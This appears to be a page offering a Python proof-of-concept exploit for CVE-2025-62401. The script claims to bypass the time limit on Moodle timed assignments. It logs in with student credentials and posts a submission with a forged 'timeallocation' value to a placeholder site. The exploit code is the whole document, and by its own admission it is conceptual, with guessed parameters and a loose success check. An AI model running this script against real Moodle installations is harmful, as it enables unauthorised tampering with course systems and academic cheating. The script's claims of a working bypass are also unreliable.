CVE-2025-62401: Moodle定时作业时间限制绕过漏洞

# CVE-2025-62401 PoC - Moodle Timed Assignment Time Restriction Bypass # This PoC demonstrates the time restriction bypass in Moodle's timed assignment feature import requests import time from datetime import datetime, timedelta # Configuration TARGET_URL = "https://vulnerable-moodle-site.com" USERNAME = "student_user" PASSWORD = "student_password" ASSIGNMENT_ID = "12345" # The timed assignment ID def login(session, url, username, password): """Authenticate to Moodle and obtain session cookie""" login_url = f"{url}/login/index.php" data = { "username": username, "password": password } response = session.post(login_url, data=data) return "MoodleSession" in session.cookies def bypass_time_restriction(session, url, assignment_id): """ Attempt to bypass the timed assignment time restriction. This method manipulates the submission time parameters. """ # Step 1: Access the assignment submission page submission_url = f"{url}/mod/assign/view.php?id={assignment_id}" response = session.get(submission_url) # Step 2: Extract the submission form and hidden parameters # In a real attack, analyze the form to find time-related parameters # Step 3: Modify the time parameters to bypass restriction # This is a conceptual PoC - actual implementation requires # analyzing the specific Moodle version's form parameters submit_url = f"{url}/mod/assign/view.php" # Attempt to manipulate submission time manipulated_data = { "id": assignment_id, "action": "submit", "timeallocation": (datetime.now() - timedelta(hours=1)).isoformat(), "_qf__mod_assign_submission_form": "1" } response = session.post(submit_url, data=manipulated_data) # Step 4: Verify if submission was accepted after deadline if response.status_code == 200: if "successfully" in response.text.lower() or "submitted" in response.text.lower(): print("[+] Time restriction bypassed successfully!") print("[+] Assignment submitted after the deadline") return True else: print("[-] Bypass attempt failed - time restriction enforced") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False def main(): print("=" * 60) print("CVE-2025-62401 PoC - Moodle Timed Assignment Bypass") print("=" * 60) session = requests.Session() # Authenticate print("\n[*] Logging in to Moodle...") if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Authentication failed") return print("[+] Authentication successful") # Attempt bypass print("\n[*] Attempting to bypass time restriction...") result = bypass_time_restriction(session, TARGET_URL, ASSIGNMENT_ID) if result: print("\n[!] VULNERABLE: The target is affected by CVE-2025-62401") else: print("\n[+] NOT VULNERABLE or patch applied") if __name__ == "__main__": main() # Note: This is a conceptual PoC for educational and security testing purposes only. # Actual exploitation requires understanding the specific Moodle version and # its implementation of the timed assignment feature.